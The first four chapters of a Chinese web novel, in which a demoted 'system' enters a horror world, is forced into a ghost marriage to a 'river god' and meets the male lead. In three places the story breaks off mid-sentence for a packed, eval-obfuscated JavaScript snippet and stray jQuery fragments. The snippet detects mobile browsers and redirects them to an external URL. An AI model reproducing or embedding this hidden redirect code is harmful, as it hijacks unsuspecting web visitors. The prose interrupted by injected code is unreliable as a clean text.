《以身饲男主[快穿]》
1. 堕神(1)
“小傻子,快出来!今天河神娶亲,我带你凑热闹去!”
十八.九岁的少年站在土坡上,朝着矮小的木屋大喊,他身后还站着另一个同龄少年。
几秒后,木门被人咯吱拉开——
今日天色阴沉,从屋内走出的少年却格外耀眼,皮肤润玉般光滑白皙,好看的唇紧抿着,瞳仁黑的发亮。
那双漂亮的眼睛此时正瞪着两人,看着不是很高兴。
才进入副本不久的宁戚恹恹问:“找我什么事?”
在进入副本前,宁戚是一个系统,只是……是个失败的系统。
带了十个宿主,八个任务失败,两个把他投诉到了主神中心。有甚者说要用积分把他开户,挂在主神空间公告栏公开示众……
于是他就被主神大手一挥,赶到了废弃副本世界做任务。
他的主要任务是让副本停止循环,并让副本主角,以及沦陷在副本世界的宿主们的精神临界值恢复正常。
宁戚头一次当宿主,毫无头绪,怎么高兴得起来。
土坡上站着的少年对宁戚说:“我们村里一年一届的河神娶亲就在今晚,轿娘会沿路撒红包和瓜果。你从前不是最喜欢凑这些热闹?”
少年说着,目光不由在他身上打量着,撇嘴想:从前没有发现这个小傻子长得这么好看?
宁戚看似在思考,实则在脑海里和001对话。
“……河神娶亲,这是恐怖本?”
001是他的伴生ai系统,他做系统的时候主要辅助他的工作,现在则作为他的系统帮他完成副本任务
001:【?%@#?&%……】
宁戚:“?”
001无情道:【程序设定,不让说。】
“……”
宁戚昨晚进入副本后,利用半天时间整理完了这个副本的背景。
他所在的地方叫善水村,一个与世隔绝的闭塞村庄,村庄正中心流淌着一条清澈碧绿的河,叫“善水”,村庄由此得名。
善水村靠河水的滋养和灌溉。但据说,十年前善水发了场有史以来最大的洪涝,差点将整个村庄都淹没。
自那以后,村民们就开始供奉河神,并如期为河神献上新娘,用这样的方式维持了村庄十年的平静。
宁戚现在就是这个村的村民之一,人设是个傻子,他父母都在洪涝中双亡,只有一个有老年痴呆的奶奶。
宁戚摸着下巴作思考状,问001:“我和男主之间有什么纠葛吗?”
之前他带的宿主,尽管不是主角,但也都是多少和男主有牵连。不是男主将死的白月光,就是男主的朱砂痣,哪怕是恶毒炮灰和路人甲,也多少和男主有交集。
001说:【和男主没有,但你有。】
宁戚隐约有股不太好的预感,问:“什么?”
001犹豫几秒,才说:【你是善水村远近闻名的同性恋。】
宁戚:“……”
宁戚神情麻木的问:“……为什么是远近闻名?”
001回答了他心中的猜想:【因为你偷看男人洗澡的事情,全村人都知道。】
宁戚:【……】
宁戚眼前一阵眩晕。
“小傻子?河神娶亲你到底去不去?去晚了可没有红包和糖捡了!”
少年已经等的有些不耐烦了,眉眼深深皱起。
宁戚从没有外挂的现实中过神来,揉了揉眉心说:“去。”
河神娶亲是肯定要去的。
只有副本世界的主角出现,宁戚的“精神值栏”才会解锁,目前还是冷却状态。
没法解锁精神值栏,代表他现在没有获得积分换取道具的资格,看来得快点找到男主。
这要真是恐怖本,积分和道具至关重要。
*
001告诉宁戚,那个清秀少年名叫程繁,他旁边那个不怎么爱说话的叫岳文,还有一个叫唐明宇的没有来。
岳文身世不明,是后来加入三人小团体的。而程繁和唐明宇青梅竹马,打小就是善水村的霸王。
因为程繁的爹是善水村的村长,而唐明宇的爹是唐家的家主。
唐家人据说可以通阴问神,每年的河神供奉和娶亲都是唐家负责,他们是河神的代表人,地位崇高。
宁戚觉得这个唐家应该是主线剧情的关键。
日暮西沉时,程繁就在门口大声喊宁戚的名字了。
宁戚出门将门锁好,避免有老年痴呆的奶奶出去走丢,这才出门。
两人中果然多了一个英俊少年。
一走近宁戚就撞进了陌生少年的灼热视线里,宁戚意识到他应该就是唐明宇。
唐明宇生了张俊脸,身上带着股不符合这里的浑不吝的嚣张和风流,那双桃花眼在太阳光下微微眯起,落在宁戚身上是滚烫的温度。
宁戚对视线的感知很是敏感,好在人设是傻子,他可以装作什么都不知道。
去的路上,走在前面的唐明宇会时不时扭头往后打量跟在后面的宁戚,见他还是慢吞吞的,便停下来等他。
等宁戚走到他身边了,那双幽深的眼直勾勾落在他面颊上,忽的低声问:“小傻子,你真的喜欢男人啊?”
人设所迫,宁戚不能说不是,只能选着抿紧唇不说话,绷紧脸表达不悦。
唐明宇明显恶劣惯了,才不在乎他高不高兴,满怀恶意的问:“听说你还偷看别人洗澡。”
宁戚:“……”
宁戚是个反应异常迟钝的人。
但即使迟钝如他,也听懂了面前这人在和他调情。
傻子人设到关键时刻还是好用的,宁戚眼神都没眨一下,装作听不懂。
唐明宇不但没有欺负智力障碍青年的负罪感,反而恶劣的眯了眯眼,忽然凑到宁戚跟前,用鼻子在他面颊不足一指的地方嗅了嗅,故意问:“哪里的香味?”
宁戚被同性之间忽然拉近的距离吓了一跳,立马皱眉往旁边让了一步,神色冷冷的瞪着唐明宇。
清甜的香味仿佛还萦绕在鼻尖,看着面前这双清亮漂亮的眼睛,唐明宇喉结滚动一瞬,刚想要说什么,手忽然被人扯了下。
程繁低垂着眼眸,低声问唐明宇:“宇哥,我们昨天商量的那件事情……还作数吗?”
唐明宇眸色中闪过一丝冷光,冷然地刺向程繁。
程繁很怕他,吓得小脸苍白,一句话都说不出来了。
但下一秒,唐明宇又仿佛什么都没发生过似的,对宁戚弯了下唇角:“天色暗了,我们走快点吧。”
宁戚松了口气,默然跟上。
*
河神的婚礼在立着“善水村”红字石碑的村口举行,几乎整个村子里的人都来了。
他们到时,现场已经围满了人,程繁走在最前面,挥手拨开人群,嘴里大喊着“让开让开”。
村民们低头看到是他们三个代表人物,连忙让到了一边,宁戚跟着三人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088767|179621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顺势挤到了前面。
宁戚混到前排,一眼看到了那座年代久远有人高的村牌石碑,石碑表面已经风化,方正的红色楷字写着村的名字。
红色和这个小村庄实在不太适配,而河神的祭祀现场到处都是大片大片格外鲜艳的红。
石碑旁摆着抬颜色亮丽的红色喜轿,轿夫和娇娘身穿红色的褂子,供桌上摆放着数不清的贡品。被挑选中的童男童女站在供桌两旁,等着婚礼开始,点蜡送亲。
看着就像是一场普通的婚礼,如果这不是人和不知道是神还是鬼的东西的婚礼的话。
“哎?这不是宁家那傻小子吗?他怎么又来了?”
人群中,有人不知怎么忽然注意到了宁戚。
有个腰上系着红绸的男人闻言,立马拧着眉朝他走了过来,男人眼白充血,怒目圆瞪:“这痴儿谁放过来的?!快给老子拖出去!指不定这些年村里遭灾,就是这傻子总在轿边讨食触怒了河神!”
宁戚在脑子里敲001:“什么情况?我这个皮套不是个没存在感的傻子吗?”
001尴尬道:【对啊,所以往年他跟在轿子边都没人管,但你现在不是毫无意义的NPC了。】
“……”
好好好。
村民们安静如鸡,显然对这个男人充满畏惧。
“阿平,别对一个孩子发脾气。”
一个腰间同样围着红绸的男人走过来,轻拍了下宁戚的肩,微笑时眼角细纹皱起,慈蔼道:“宁戚,回头我让人给你送两包花生瓜子去,你先回家去,可好?”
宁戚默默观察面前的男人。
男人看似一副很好说话的样子,但他明显在村里是很有威望的人物。他一过来,那个刚才叫阿平的戾气横生的大个子就乖乖站到了一边。
就是唐明宇也敢站在远处盯着,显然没有为他站出来说话的意思。
宁戚依稀猜出了男人的身份,这应该就是善水村唐家族长唐明宇的爹——唐祖盛。
眼看着马上就要天黑了,唐祖盛没了耐心,朝旁边人使了个眼色,一个轿夫就走了过来,拎着宁戚的胳膊强硬将他远远扔在田野里。
隔着这么远,宁戚都能听到那个阿平厉声暴呵,眼中凶光必现:“命犯刑克、身带晦煞的,都给老子夹紧尾巴锁好门户!”
“若叫河神嗅着半点腌臜气——"铁钳般的手掌猛地捏碎手中陶碗,瓷片扎进掌心,血流如注,"莫怪老子先送你们去见阎罗!"
村民们都吓得大气不敢出,可见唐家在善水村的威望有多大。
宁戚自然没真走,而是躲在人群后四处打量,寻找新娘的踪迹。
奇怪的是,他走了一圈也没见着新娘,而且他才发现,这些来围观的村民里面,几乎没有见到年轻的女子。
反倒是年轻的男人们面露恐惧地挤在人群里,嘴里默念着什么。
太阳彻底落下去,天色一瞬竟阴了下来,黑沉沉的云将弯月牢牢遮住,诺大的村庄里,只有村口火光震天。
宁戚找了个比较高的山坡,躲在树后远远观察已经开始的送亲仪式。
神神叨叨的神婆面上画着彩纹,摇晃着手中的铃铛,围着供桌和烧火盆念念有词。
刹那间,神婆枯瘦的手臂猛然伸直,手中铜铃在剧烈震颤中散发出令人心紧牙酸的尖啸。
就在众人提心屏息之际,神婆倏地睁开了双眼,布满血丝的浑浊眼球,竟穿越重重人群——死死盯在了宁戚身上!
2. 堕神(2)
宁戚猝不及防的和神婆对上视线,心跳都漏了一拍,立刻闪身躲到了树后。
“她看的是我?”
这么远的距离,不至于吧。
011犹豫道:【错觉吧,是在你方向的一个男人被神婆选中了。】
宁戚谨慎的在树后躲了片刻,才小心扒着树根探身,果然看到神婆已经转过身去,围着那个男人身上撒着瓜果和糯米,仿佛刚才的对视是宁戚的错觉。
而被神婆选中的男人已经吓得跪倒在地。
隔着遥远距离,宁戚都能听到那人惨烈恐惧的哭嚎。
很快,宁戚就明白这个年轻男人为什么那么害怕了。
男人被几个戴着傩戏面具的村民强带进了村口那个红色的布扎棚,再出来的时候,人像是一滩任人摆布的肉泥,瘫软地被架着出来,而他身上穿着的,居然是新娘的服饰!
“河神的新娘,是男的?”
【叮咚!成功触发主线任务关键线索之一:河神的新郎。】
*
穿着新娘服饰的男人被架着垮了火盆,又被按着跪在地上朝着他面色难看的爹磕了头,最后红盖头一盖,器具般被放进花轿。
戴着傩戏面具的轿夫也围了过来,搬来一块高高的、被红布包着的木门板,将轿门严丝合缝地用很粗钉钉了起来——这是害怕人在半路醒来逃跑。
随着一声“轿起”,唢呐声响彻天空,惊起林中一片鸟雀纷飞,轿子被轿夫们抬了起来。
两个画着淡妆,梳着圆髻头的轿娘站在前面一边大声念着:“红轿抬,红盖头,善水儿郎不用愁;三炷香,三叩首,从此阴阳共白头!”
说着,一边沿路撒红包和瓜果。
另外还有两个轿娘跟在唢呐队伍后面,最后面是扛着牛羊鸡肉和纸扎婢女的嫁妆队。
村民们纷纷跟在队伍后边送亲,走两步就跪下来朝着轿子三叩首,虔诚大喊:“求河神庇佑我善水风调雨顺,人丁兴旺!”
宁戚正要找条路跟上去,才迈脚步,右肩陡然一沉——一只手鬼魅般悄无声息地搭了上来。
阴森凄厉的唢呐声炸响在耳边,周围静谧地只能听到他咚咚响的心跳。
宁戚想起不久前那个神婆看向自己的森寒眼神,不适的皱了皱眉,深深吸了口气。
他其实……有点怕鬼。
“小傻子,躲这儿看热闹呢?”
在宁戚脑海里面过了无数遍逃跑姿势后,一个戏谑的嗓音在身后响起。
宁戚压着给这人一拳的冲动,扭头瞪向唐明宇,不悦道:“你吓到我了。”
唐明宇和宁戚之间只有一臂距离,半露出头的昏暗月光下,面前少年的面颊白的透亮。
唐明宇堵在喉咙里的话被压了回去,一时间心痒难耐。
他笑了笑,分外和善起来:“等送亲队伍走或村尾,村民就不会再跟上去了,我带你去山里捡娇娘洒下的红包和花生糖,怎么样?”
他身后的程繁不知道经历了什么,神情急迫,眼睛都红了。
见唐明宇不知道为什么忽然对宁戚态度这么大的转变,忙伸手拉扯过唐明宇的衣角,低声急促道:“宇哥,你答应我的,你答应我的事怎么办?”
唐明宇没理身旁人,目光只盯在宁戚身上,带着那种黏腻的令人不适的恶劣,仿佛明知道宁戚听不懂而故意说给他听一般,回复程繁:“山里好下手。”
程繁闻言,半信半疑的松了口气。
宁戚看出来这三个人应该是怀着目的来的。
主线剧情还没有任何发展,就算没有他们三个,宁戚也会跟着迎亲队伍去一探究竟。
尽管这三人不怀好意,但到底是三个人类,有人陪着宁戚也能有点心理安慰。
岳文话不多,却对山路很熟,哪怕他们落下了队伍很多,岳文带着他们走山路,七拐八绕下,竟是直接绕到了送亲队伍前面。
花轿还在往前,沿着河流一路向山上走,而以唐族长为首的村民们则停留在了村尾,目送着迎亲队离开。
岳文带着包括宁戚在内的三人继续绕山路跟上了新郎。
没有月光照路,也不知道轿夫们是怎么看清路的,但他们一路走的十分顺畅,花轿也稳稳地抬在肩上,那轿娘喊了那么久的贺词,嗓子都没有哑,有种诡异的规律频率。
唐明宇带了好几根火折子在身上照明,显然是有备而来。
路上,程繁一直在催唐明宇:“宇哥,再不快点真的来不及了……”
唐明宇被他烦的急了,视线森然的落在他身上,微笑着却说着让人毛骨悚然的话:“如果你真的那么急,不如你替他上花轿,怎么样?”
这个“他”不知道是谁。
程繁本就没什么血色的面颊更是被这句话吓得苍白如纸,闭紧嘴再不敢再多说一句。
岳文似乎对这样的场景习以为常,头都没回一下,一声不吭继续在前面带路。
宁戚皱了皱眉,看了眼浑身戾气的唐明宇,转过了头,把注意力放在了送亲队伍上。
不知道是不是宁戚的错觉,他总觉得花轿走的越来越快,他们的步伐也跟着加快了。
宁戚这具身体体质不太好,走的气喘,不留神绊到了颗石头,踉跄了下,差点摔下坡。
这时手腕被人一把稳稳拉住,帮着他站住身形才松开。
宁戚一愣,抬眸看到是岳文,意外的眨了眨眼,低声说:“谢谢。”
岳文看着面前这双干净清澈的双眼,没说话,背过身继续在前面沉默带路。
倒是唐明宇几步跟了上来,手在宁戚的腕上抓去:“没事吧?”
宁戚立马把手抽出来,沉默的摇了摇头。
心里想的是:这人可真烦。
宁戚可不傻,唐明宇和他爹像是一个模子里刻出来的,父子俩都是笑面虎,宁戚最不喜欢这种人。
主神的脾气就很好,虽然主神空间里很多系统对这位大人阴晴不定的性格颇有微词,但宁戚就觉得主神特别好,哪怕他常给001偷电池吃,主神也没有责骂过他。
001叹道:【都被流放到这鬼地方了,你居然还想主神大人,我一定去大人那里传达你的思念。】
宁戚哼了声,正要反驳,余光忽然注意到那行到半途的轿子像停顿了下。
他瞬间哑了声,跟着慢下脚步屏住了呼吸,往下观察。
队伍像是被按下了暂停键,停顿了数秒,一瞬间,耳边的风声和枝叶摆动的窸窣声都消失了。
猝不及防间,宁戚瞳孔骤缩——那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088768|179621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟在唢呐后娇娘,脖子以一种扭曲而僵直的诡异姿态,竟缓缓转了过来,空洞的双眼森然注视着宁戚!
头皮炸开般的悚然瞬间蔓延至全身,宁戚大脑空白,耳边嗡然作响。
那轿娘和宁戚在村头见到的完全不一样——粉色厚腮红,柳叶吊梢眉,黑色的瞳孔漆黑却无光泽,嘴唇猩红着往两边高高上扬,弯出诡可怖弧度,仿如纸人点睛。
宁戚屏住了呼吸,腿也软了,大脑里面已经发起红色预警。
可转念间,他又自我安慰般想起——之前不也以为那神婆在看自己,结果不也是虚惊一场?
按照恐怖片原则,只要不对视……
宁戚僵硬着转过头,若无其事般移开视线,佯装镇定想要寻找伙伴的身影,驱散内心的骇然。
然而环顾四周时,他才发现身边早没了那三个少年的影子,只有一片死寂的漆黑幽林。
他心中警铃疯狂作响,转身想找人,目光一转,震颤间,直直对上了轿娘那张惨白如纸的脸!
宁戚大脑一片空白,在视觉的强烈震撼下,大脑神经触发自我保护机制,他两眼一黑,晕了过去。
*
“宁戚!你快醒醒!快醒来啊!?”
宁戚在一阵欢快的唢呐声,和001机械而急促地呼唤声中慢慢睁开了眼睛。
他的视线尚未恢复清晰,眼前一片黑,只觉得自己在晃,脑袋里仿佛装着个弹跳球,随着这阵天旋地转般的晃动上下弹跳。
耳边的忽远忽近的唢呐声在001聒噪的大喊中越来越清晰。
宁戚意志力还算强大,深吸几口气后,抬手往四周摸去,想知道自己这会儿是在哪里。
结果手都没伸直,就摸到了一片冰冷而僵硬的障碍,宁戚僵硬了几秒,一个恐怖的猜测在脑海中成形,他怀着最后一丝希望,屏着呼吸又往其他的方向探索,结果却是显而易见的,四周都被封死了。
难怪眼前一片黑,难怪他觉得一直在晃,唢呐声清晰而响亮。
他在花轿里?!
为什么他会出现在花轿里?原来的新郎呢?
在花轿被钉死的情况下,这些鬼是怎么移花接木的?
宁戚已经见过了鬼,已经毫不怀疑这个河神是真实存在的非人类物种了。
而在这些猜想中,面对黑暗的恐惧逐渐开始将宁戚包裹。
宁戚头疼欲裂,不由开始拍打着花轿四周,试图找到一个可以松动的让他逃出去的空隙。可花轿纹丝不动,唢呐声依旧欢快而响亮,没有人在意这个被绝望献祭的祭品。
一瞬间,花轿坚硬的模板似乎朝他挤压过来,窄小空间内的氧气随着他呼吸的急促而急剧减少。
宁戚放弃了无谓的挣扎,只眼前一阵阵发黑。
【不能晕!接下来是关键剧情点了!你晕了会没命的!】
001急的恨不得从主神空间钻出来了。
但是这花轿空间太小了,四周都被钉死,明显做轿子的人压根没有考虑过被关在里面的新人。
来之前宁戚在心底都和001把牛逼吹到天上去了,没想到第一个副本才开始就要惨遭夭折。
就在他以为自己会被憋死时,唢呐声忽然停了下来,花轿在一阵咯噔中,稳稳落了地。
3. 堕神(3)
宁戚缩在花轿里,瞪着眼前面前那扇被敲地叮当作响的花轿门,一时间不知道自己是出去撞见鬼被鬼弄死更好,还是活活憋死在这里更好了。
宁戚面无表情道:“001,给我个特效眼镜吧,要粉色的,兔兔耳或者萌萌眼,我记得只要一个积分……”
001怒道:【你个垃圾!你一开场就要死了,还好意思问我要道具!!】
“……”
咔嚓一声响,轿门被人卸了下来,丝缕烛光从轿门缝隙中漏进来,宁戚脑子还是晕的,甚至有点庆幸今夜的月色没有那么亮。
以至于他被人……被不知道什么东西架出去的时候都是两眼一抹黑,在他视线恢复清晰的下一秒,红盖头被往前扯了扯,遮挡住了他的视线。
宁戚莫名松了口气,起码暂时不用面对那一张张鬼脸了。
奇怪的是他的身体好像使不上力气……也不对,好像是身体不受他的控制了?!
他像一个被摆布的木偶,被人指引着跨过火盆,然后麻木的站立在一个又高又宽的漆黑供桌上前。旁边的女鬼不知道撒了什么东西在他脚边,落地时明明是花生,结果一翻滚,竟变成了一条条已经死透翻白的幼金鱼,金鱼因为过度腐烂,内里还扭动着密麻的蛆虫……
要不是人被控制住了,宁戚高低要再晕一个了,但胃里还是止不住的翻滚。
他闭了闭眼又睁开,就这样反复和地上一地的死鱼对视好几次后,总算缓解了些许不适,甚至鼓起勇气抬了抬眼,在有限的能自己动的范围里,看到了自己身上不知道谁给他换上的嫁衣。
目光向上抬,他能看到面前供桌上摆着一个看不清字的牌位,红色喜蜡在排位前幽幽摇晃,喜庆的色彩和牌位交映,诡异非常。
一个低沉嘶哑的女声神神叨叨的念着:“善水鬼神让一让,河神过路迎新郎;纸契沉舟作魂引,莫挡嫁郎渡冥阳!”
这话怎么听怎么不对劲。
嘴上说的是“河神”,什么“魂引”什么“冥阳”,难道不该是阴婚该有的吗?河神不是人,但多少是个神,还是守护一方的神。既然是神,哪怕是用活人作祭品,念词也应该欢欢喜喜,气势磅礴。
可这话听着却阴森森的,不像是嫁河神,更像是……嫁水鬼。
宁戚看似冷静,其实是没招了。
但要真是这样,那他也不能真任他们摆布,说不定还能有一线生机。
于是在有限能动视线的空间里,宁戚的视线继续往周围探索,寻找脱身可能。
而在这盖头下的狭窄视线里,他却在供桌两旁看到了两个熟悉的身影——原先在村口送亲点蜡的童男童女!
宁戚头皮一麻,自然不会认为他们真的是那两个小孩,果然,往下一看……他们没有影子。
宁戚虽然人不怎么灵光,记性却很好,他记得送亲的时候这两个孩子没有跟上来!全程宁戚都在上面看着,连除了新郎之外的年轻男女没有,更何况是两个小孩!
那估计周围全都是鬼。
明明在村里的时候都还是人,怎么突然一下全变成了鬼了?
宁戚两眼一抹黑,看不见自己的生路。
“拜堂!”
尖利而空灵的嗓音在山林间回响,带着某种魔力响起。
宁戚明明没动,却看着自己的身体随着一声“一拜善水河神庙”,而后,他的身体被神秘力量驱使着,往下弯了腰。
随即他的身体又自动转向后方。
“二拜阳间血脉亲!”
宁戚研读过古代副本,知道人间拜堂交换婚书就是礼成,代表两个毫无血缘关系的人,从此命运相连。
要是这个拜堂礼成亲了,岂不是代表他和这“河神”真的结成婚了?那他必死无疑。
宁戚闭着眼睛试图控制自己的身体,却还是控制不住地往左转了转身体。
“夫妻对拜魂相缠——”
这一声落下,宁戚咬了口舌头,尝到了血腥味和疼痛后,大脑急速的开始恢复清醒。在精神力恢复的同时,宁戚尝试找回身体的主动权,竭力不让腰和脑袋往下弯,梗的脖子酸了,浑身虚汗直冒。
女鬼又喊了一遍:“夫妻对拜魂相缠!”
宁戚:“……”
“怎么回事?!”
那女鬼见宁戚居然不拜,勃然大怒道:“新郎,你竟敢忤逆河神大人?!”
宁戚很想说“封建余孽要不得”,却发现嗓子居然一点声音也发不出!
……这不是逼着他嫁吗?
宁戚绝望的梗着脖子时,却透过丝绸盖头,看到自己面前好像站了一个……东西。
河神的婚礼村民们不敢敷衍作对,所以就连宁戚头上的盖头都是那种上好的丝绸,并不会完全遮挡视线。完全适应外面的光线后,他能透过布料,隐约看到周围影影绰绰站着的鬼。
让宁戚不太确定自己面前到底站没站鬼的原因是,他看到了一个模糊飘渺的鬼影,这影子还离得他很近,可当他故意晃动盖头从盖头下往前看时,他面前被河水溶蚀的黄土地,分明空空如也。
“河神”真的来和他拜堂了?
面对这个不知道是神还是鬼的东西,宁戚比看见其他鬼好不到哪里去,浑身汗流如注。
周围的鬼见他迟迟不拜,发出了那种破风箱般嗬嗬呼气的愤怒喘息。
一阵阴风骤然呼啸而起,吹的周围幽林哗啦作响,仿佛是“河神”对自己新婚妻子不甘成婚的不满和愤怒。
宁戚也不知道自己哪来这么大意志力,尝试着动了动手指,发现自己居然可以弯曲手腕了,被定在原地的脚也可以小幅度的摇晃。
“001!”
001:【……别喊我,我没法给你道具,就算你贿赂我也不可能……】
“只要告诉我往哪里跑能回去就好,我能动了!”
001沉默两秒,终究是给他开了点小权限:【朝东跑,等太阳升起你就安全了。】
他面无表情道:“我分不清东南西北,你告诉我前后左右。”
001【……】
001:【朝你现在这个方向的正后方跑,路痴!】
宁戚正抬眼打算观察一下周围,思忖着该用什么姿势跑时,视线里闯进来一只鬼手!
那鬼手在盖头下逐渐向宁戚靠近着,肤色苍白如白纸,上面布有密密麻麻的青灰色尸斑,枯瘦如柴。
宁戚靠掐着手心和咬那口腔内壁的软肉,用疼痛来保持清醒。
看着越来越近的鬼手,宁戚挥动全部的精神力,就在他打算孤注一掷狠狠咬下舌头赌一把大的时,那种隐形将他束缚的屏障忽然消散而去。
哎?
他能动了?!
宁戚再来不及多思考这是怎么回事,将脑袋上的盖头往靠近自己的女鬼脸上掀去的同时,将两手中的糯米以一个圆形向周围播撒而去。
周围登时响起阵阵肉被架在烧烤架上时,冒出的滋滋灼烧声及愤怒咆哮声,而宁戚趁机像只灵活的兔子,一出溜儿地往后疯狂的跑。
这糯米是他在脑内哭着喊着求001给他在商店买的,辛苦半天,进入副本快24小时,积分一分没撞到,反而倒欠系统商店一积分。
简直是做系统不行,做宿主更是垃圾。
而可怜的小ai已经无语得一句话都不想说了。
人类都是该死的讨债鬼!
夜晚风声呼啸,除了风声外,周围却静谧到诡异,一点活物都看不见也听不见。
幽暗密林中,半掩的阴森月色
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088769|179621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下,只能看到一个逐渐往密林深处狂奔的身影。
在逃跑这方面宁戚觉得自己还是非常有天赋的,约跑越起劲,越跑越不累,还越跑越兴奋了。他感觉不到累,仿佛浑身沉寂的运动因子都在此刻被轰然唤醒。
直到001麻木的在他脑海中提醒:【安全了。】
宁戚这才渐渐放缓速度,背靠着一颗粗壮的大树,缓缓往下滑,一屁股坐在了地上,还不忘喘气自夸:“要是主神空间像现代世界一样有马拉松活动,我一定是冠军。”
001冷声说:【要是ai决定开展消灭人类的伟大计划,你一定第一个被我消灭。】
宁戚:“……”
宁戚心虚的舔了舔干燥殷红的唇,心虚不语。
经过那样一番生死时速般的狂跑,宁戚累得不想动弹,头往后靠着树,想着干脆在这里坐到天亮好了。
身心放松下来,宁戚安慰001:“区区十积分,我还会欠你的吗?分分钟赚回来。”
001:【……你看你现在这个鬼样子有信服力吗?满嘴谎话的人类。】
宁戚心虚的摸了摸鼻子。
那谁知道会有那么多鬼!?而且宁戚至今都不知道自己是怎么上的那个鬼花轿。
还有唐明宇岳文程繁他们又去哪里了?为什么突然就不见了?
宁戚思忖一番毫无头绪,分析起来:“唐明宇、岳文、程繁肯定都不是男主,不然我的精神值栏不可能现在还是冷却状态。所以男主究竟在哪?”
他应该是最晚遇到男主的宿主了,还差点到死都没见男主一面。
宁戚后怕又开始忧心自己之后的任务该怎么往下走,被这身衣服闷的心烦意乱,干脆拎起嫁衣的下摆掀起来扇风,扇的额前的碎发向上翘起,全然没有察觉到,身后有一个悄然靠近的黑影。
而一向和宁戚一样话唠的001早已经被一股不知从何处来的力量所压迫,死机下线了。
一阵沁凉的风袭来,钻进被宁戚掀起来扇风的嫁衣下摆,一种凉意和瑟然从脊椎迅速往上蔓延,直冲得宁戚寒毛直竖。
感到危险,宁戚本能的呼唤:“……001?”
久久呼唤的001迟迟不出现,迟钝如宁戚也察觉到了不对。
他骤然回想起,在副本世界里,系统只有一种情况没有办法回应宿主并且和宿主对话——就是当比系统和主神空间更加强大的力量出现时。
可现在这里,明明只有宁戚一个人啊……
他这个想法才落下,静谧密林里骤然传来“咔嚓”一声仿佛掉落的树枝被踩踏的声响,分外清晰地响在宁戚耳边。
宁戚甚至不敢转动脖子去观察,恨不得把自己挖个坑埋起来。
谁说宁戚没有buff的,倒霉buff已经被今天的他发挥的淋漓尽致了。
他已经心里为自己想了一百种死法,殊不知,身侧走近的黑影正在好奇打量着他面上每一个丰富神情。
在恐惧降下的阴影中,一个低哑的男音在宁戚突兀响起——
“迷路了吗?”
居然是人类的声音?!
但宁戚没敢放下戒心,毕竟按照鬼神说法则,有些鬼就是会用人类的声音来蛊惑迷失的人类。
但宁戚仍是鼓起勇气扭过头,而后撞进一双漆黑如墨的双眸中。
微风瑟瑟中,宁戚和少年一坐一站,愕然对视。
阴云不知道什么时候散去了,月亮在云层后露出真容,皎洁光辉落在这有着绝美容颜的少年身上,衬得他如天神降世。
下一秒,宁戚脑海中“叮”地一声响——
【恭喜宿主,解锁主线剧情——寻找善水村河神娶亲的秘密!】
【精神值栏已解锁,目前男主精神值——0。】
4. 堕神(4)
男主就这么出现了?
面前的少年有着一张苍冷容颜,眉眼深邃而鼻梁挺立,形状好看的薄唇色泽有些浅,皮肤也白的有些怪异,给这副惊艳绝伦的异域长相带上丝凛冽的凉意。
宁戚喉结微微上下滚动了一下。
殊不知自己落在少年眼中又是一副什么模样。
月色下宁戚眼眸明亮而清澈,仰着精巧的下巴,一眨一眨的看着他,心思全都写在了脸上。
漂亮的小羊羔。
这是少年对宁戚的第一印象。
“你是谁?”
宁戚收起快要往下掉的下巴,满心都是看到活人男主的欣喜,有些狼狈地撑起身体爬起来,不料少年居然还是比他高了足足一个头。
少年眸色微顿,淡淡说:“我是住在这附近的村民。”
宁戚愣了下,望向周围幽深寂静的深林,有点怀疑男主到底是人还是鬼了。
少年饶有兴味的在面前人身上打量片刻,在宁戚回过神来时又恢复冷淡,薄唇轻启:“夜色晚了,不介意你可以去我家住一晚,明天送你下山。”
宁戚在001消失的情况下一个人待在这深山老林里面等到天亮,以及和属性未明的男主共度一夜之间,自然果断选择了后者。
俗话说的好,牡丹花下死,做鬼也风流。
也好过被鬼怪追杀吓死的好。
而他殊不知,在他答应的刹那,他身边那些一路追踪他到这里的,环绕着他的鬼魅黑影才悄然退散。
少年似乎对山林间很熟悉,在山路间却迈步娴熟,宁戚跟着他,狂跳了一晚上的心总算是安定了下来。
宁戚做了下心理准备,趁机凑过去和男主搭话,好赶紧把主线剧情摸出来。
“你好,我叫宁戚,你呢?”
少年偏头看他一眼,沉默几秒,才吐出两个字:“沈岩。”
宁戚点了点头,在黑暗的环境下,莫名依赖眼前的人类,不由伸手扯住了男主垂落的衣角,迈着小碎步跟着他,找话问:“你怎么一个人在山林生活,你不是善水村的村民吗?”
宁戚的袖子被他挽到了臂弯,沈岩垂眸时,一眼就看到了那节藕白手臂,在走动间挨上他左手皮肤时,细腻而冰凉。
